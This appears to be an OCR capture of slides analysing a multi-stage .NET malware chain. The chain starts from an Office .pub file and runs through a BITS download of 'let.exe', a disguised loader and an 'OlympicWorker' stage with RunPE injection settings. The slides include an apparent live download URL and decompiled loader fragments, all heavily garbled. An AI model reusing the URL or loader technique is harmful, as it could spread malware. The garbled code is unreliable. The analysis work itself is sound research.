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Whatever this Office .pub malware is, it is
funky. Uses Microsoft BITS to DL, signed 'by'

Foxit. Analysis ongoing.

http://cta.edu.pe/real/let.exe
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1st Stage - let.exe
.NET sample

14d1c127f23b2440bftb59be830be7386530623d730elcP6190eca7dadcdbdclc

>

SHA256:

Ratio de détection : 45/ 57

Date d'analyse :
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00 =

i/ C:\Usersadmin'Downloads' letilet.exe
ff let, ¥ersion=3.0.9.8, Culture=neutral, PublicKeyToken=null

Sssernbly Explorer * X let(d

b A miscorlib (4.0.0.0)
b Systern (4.0.0.0)

I,
1
2
b Systern, Core (4.0.0.0) 43- ff Ent t: iPIx5pal TPCOROR. P Mai
b System Xl (40,00 : ntry point: 1PJxSpalTPc .Program. Main

2]

¥

]

{f Timestamp: S7CEEZ22 (@4/99/2816 @5:33:22
DA Systern.Xaml (4.0.0.0) P ( )

P WindowsBase (4.0.0.0)

using System;
P A PresentationCare (4.0.0.0)

usmg System.Reflection;

B A PresentationFramewatk (4.0.0.0) 9 using System.Runtime. CompilerServices;
P A dnlib (1.6.0.0) 18 using System.Runtime. InteropServices;
b g dnSpy (2.0.2.0) 11 using System.Security.Permissions;
= 12
b o [ 13 [assembly: Assemblyversion("3.@.8.8")]
14 [assembly: AssemblyCompany(“CD Projekt Red™)]
15 [assembly: AssemblyConfiguration(™™)]
16 [assembly: AssemblyCopyright({"Copyright @ 2012 CD Projekt Red.™]]

17 [assembly: AssemblyDescription(™The Witcher 3™)]
18 [assembly: AssemblyFileversion(™3.@.8")]
19 [assembly: AssemblyProduct(“The Witcher 3™)]
20 [assembly: AssemblyTitle(“The Witcher 3")]
21 [assembly: AssemblyTrademarki(™)]
22 [assembly: CompilationRelaxations(8)]
23 [assembly: RuntimeCompatibility(lraplonExceptionThrows = true)]
24 [assembly: Comiisible(false)]
25 [assembly: Guid("f4cof@E@-2a@l-4f3c- 2804 -059T87052b6a" ) ]
[

26 [assembly: SecurityPermission(Securityfction.RequestMinimum, SkipVerification = true)]
27
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waGPTEBbxAEs. resources 0 irnternal static byte[] =
1 /) @x@@2@352C: uwGPTBbxABs.rescurces (251136 b
2 | Save §f Teoken: 2x@6020@18 RID: 24 RYA: @x@2202E28 File Offset: 2x022Q1E28
E] et
4 [/ Bx@@2BISFE: CuyODCxE@ = “gOLyS2HsUBjI0T7p+ES %
S S Bx@R@240DCE: CuyODCxBEl = “"KZeTaklLBugzal 8wulla r = - - —rre
& // BxBRER559E: CuyODCxELE = “ptavysR/Locsa+Day 2 = new StringBuilder(];
7 [/ @x@22@50F1: CuyODCHEL2@ = “HT+E+nSPovlrdsIP for (int 1
8 [/ Bx@22QE544: CuyODCHEL@L = “CWSIFEaFblgim/ /X 1
S ¢f EEEEEREELTE EyERCEElen = ShsElnd Tl stringBuilder. fppend(Resources. ResourceManager.Getstring("CwyODCxE" + 1. ToString()));
1@ /) Bx@22Q7F4EA: CwyODCxBLlA3 = “WhnOlsXLFGcacazp
11 // @x@@@BFCED: CuyODCxEL@d = “FAcxetdIKmuikosSs i)
12 // Bx@P20849@: CuyODCxEBL@S = "xL9ILRLCIFDg@zio return Convert.FromBaseddstring(stringBuilder. Tostring());
13 // @x@@@BBCES: CuyODCxEL@E = “EFLcvWZA4758bQath 3
14 // @x@@@03436: CuyODCxEL@F = “+dD4quh7Hrf3yd7C T
15 // @x22@29C83: CuyODCxBl@8 = “NZ346U1fAZuEZoq4gl
16 fFf @x@@2@A30C: CuylDCxE1@2 = “EmhMIf7maHqfuyéd
17 FF Bx@@22ABAF: CuyODCxEll = “aflo92Al0cmeeyLt@ldlwEnzFML+q2jSZ1KWURHEIGS SapIpNrCfpelsuszhbsqdzFI1ECMEMClon] s FHGL Pmr ol DN zMZcsColns TG wh
18 // @xQEQEE382: CuyODCxBLLE = “ER3tFtAdgUrRISFGESsIntsIGYDDHekptLERPYESIROECIP Al s dXuSs G ARy 52N a7 WY ZUSeE D ebIaE W D0s] 21 S 5500Hh ZAL SE U
19 // @x@@@BEES5: CuyODCxE1ll = “VEZTSfscksdTL
208/ @x@@@BC3I2E: CuyODCxELLZ2 = “wyEMAYhEsSdv 22 £ Token: @x@cE0O2EE RID: 14 RYA: Bx@20028FC File Offset: 2:x@0@@18FC
21 Y Bx@@RQCAFE: CuylODCxE11S = “YwATzilrjc7y a3 private vold S(byte[] B:I
22 /f @x@@@BD2CE: CuyODCxE1l4 = “VFbPEyz3gHas a1
23 // @x@@@BDAAL: CuyODCxE1lS = “1lc7FiZfjkDMILI 1 .
24 // @x@@@BE2ZFA: CuyODCxE1lE = “Hg+cFzMtpsmaH 25 int num = @;
25 ;i BxBBROERAAT: CuyODCKELL7 = “ewdrgzzkisw 26 pbeR. BavefHiv( -9, 1319346 -@9f, 14236, true, "0");
26 OxE@ERRF216: CuyODCxELLS = “wyNAwikl/UCEH] " " .
27 4/ OXOREEFSED: CuyODCKBLLS — +vSrs udHbH 27 NQISH.]U)(UL‘;!behy( QBCIpYH™, 196492439, 16689, @.92723471);
28 // BxPERLELICE: CuyODCxELZ = “0vIs+AudIwosmd 28 while (this.M == null)
29/ 2x@@01l@993: CuyODCxElZ@ = “"McEr@pyaCxhId 29 i
3@ S Bx@@211166: CuylDCxE121 = “OrPRdjW+SpH+| ETe) Prcpert_\,rIn‘Fo pr‘oper‘tyIn‘Fo = this. P[num];
31/ @x@@@11939: CuyODCxE122 = "LlEDREcAOQSE v =
32 // Bx@OR1210C: CuyODCxEL2S = “UfIoj+bqgvvynl | SL numH—+;
33 /f @x@E@122DF: CuyODCxELS = “1Sy2aZaiuebfo 32 ¥blUg.thlcThkzxg( 8243, 148);
34 // @x@@@12AB2: CuyODCxBLA = “ulLAShThDCplirfq 33 if {propertyInfeo.tams.Contains("C") A% propertyInfeo.Hame. Contains("D"))
35 Bx@@213285: CuylDCxE1lS = “ScPravivaCpw3 24
36 @xBBRLIASS: CuylDCxElE = “rn7iska/zabPo )
37 // BxBBR14226: CuyODCxBL7 = “GCCeBi7NYEPME 35 object value = propertyInfe.GetWalue(null, null);
35 // @x@O@IASFE: CuyODCKELS = “Ziw/woRoDS+th 36 pbeR. Bfve fHiv( -8, S43347E-11F, 17137, false, 'u');
52 77 GEREAZARL CUEDEELE = CSyaEsiislasal 37 this.M = Interactien.CallByName(value, "Load"™, CallType.Method, new ohject[]
48 f/ @x@@@L59084: CuyODCxBZ = “WFKEATETWFUFOP
41 // Bx@RRLE17F7: CuyODCxE2Z@ = “GEEL1en7F/hLpd | 38 1
42 f/ @x@BPLEMA: CuyODCxBZ1 = “MTKYBphLATs00] 39 B
43 @x@e@17110: CuyCDCxB22 “2qHLEg AvwnG TR AQ 1);
44/ @x@BPLFEF@: CuyODCxB23 = “isqazPdllSwaT . iia
2 TP BGREAE. Crieennn - Tebms e | L pbeh. BAve fHIV( 2. BAB@1SE-21T, 8226, false, 'j');
456 // BxPPRLESI6: CwyODCxE25 = "SwOgCHllzioaEd 42 this.H = ((Assembly)this.M).EntryPoint;
47 f/ @x@@PLO063: CuyODCxB2E = “zl¥gEvliL1Tedd 43 +
48 f/ Ex@R@LI83C: CuyODCxB2Z7 = “338npwnsDl 5 an 3
49 f/ @x@@@LABBF : CuyODCxB2ZS = “wnibxH2RTNePY
S0 S BxPERTAFE? s CuwODCxR?9 = “hewF30 7wy Tiuo 45 h
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2"d stage - Olympic Worker
Always .NET
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- v .J
n _ .
SO.YOUR
> ¢
18 [assembly:
19 [assembly:
28 [assembly:
21 [assembly:
22 [assembly:
23 [assembly:
24 [assembly:
25 [assembly:
26 [assembly:
27 [assembly:
28 [assembly:
29 [assembly:
3@ [assembly:

31

i

v

......

ﬁssemhincpyrl E;CprrlgEt @ 2@16

ﬁssemblyDelaySlgn(false
AssemblyDescriptioni ™
tssemblyFileversion(™ 1 @ a.a"y]
BssemblykeyHame(™™ )]

fssemblyProduct ("Olympiclorker™) ]
fssemblyTitle("Olympiclorker™) ]
LssemblyTrademark (™) ]
CompilaticnRelaxations(s) ]
RuntimeCompatibility(WraphonExceptid
Comvisible(false)]

EtS MART

Guid("45252303-3b7@-4dE3-afad-1e7bE
SecurityPermission(Securityfction. R

o0 @88

L 4 {} OlympicWorker.Tools
P &= EncryptionSettings @020¢
> % RunPE @02000003

MvOjBIbXByV4Q Z(object) : object @06000062

09tV object, int, object, int, int) : void @06000075
pUa0T, elS(object) : object @0600005C

R76Y ject) : bool @0G000052

Run(int, striny, byte[], bool, byte[], out uint) : bool @06000053
rwOBWIBLQBQ2900MeolU7 (object) : object @06000056
sEQYUSbwGH2WgoBLVjh(object, IntPtr) : int @06000078
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42 £ Token: Px@EPERERY RID: 9 RvA: 2x@2222148 File Offset: 2xPERRR34S
43 [MethedImpl (MethoedImploptions. NeInlining) ]
44 public static woid Dolerk()
45 i
a5 try
47
A8 L 1 L L L L L L L L L L L L, W
49
5@ Marrie Walue Type
g; 4 @ encryptionsetting: DlympicWarker Toals, Olympiciorker Toals Enc
@ Compatiblefode false biool
@ DeleteZonelD true bool
@ DownloadExecute false bool
@ DownloadURL " string
@ EOFData byte[0:00000000] bryte(]
@ EnableFakeErrar false hool
@ Enabledtartup false bioal
@ ExecutionDelay (x00aan0nn it
@ Fakebrraessage " string
@ FakeErrarTitle " string
@ FakebrrarType Asterisk Spstern Windows.Forms, i
@ HideFile false bool
@ InjectProtectionkodule false boal
@ InjectionTarget (00000003 irit
@ InstallFile false bool
@ InstallPath (0000000 int
@ Mark8sSystemn false biool
@ Mutexstring "5 HEDushUCDEgHIkKR" string
@ ProcessMarne " string
@ StartupKey " string




.NET sample analysis, do you have
more ?

3rd stage - Native PE32 file

MD5,086C7DAC6F6C25ES8E1B6A804CB78A4B8
- 0 results on VT on september
- Now detected by 42 AV vendors

o total

Antivirus

//havelnoltime to dolanything.

AlYac
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If someone has already made a study of
.NET samples and/or classification
(packer, dropper,..) i will be happy to
go further.

Please free to contact me @13mOntr33 II'



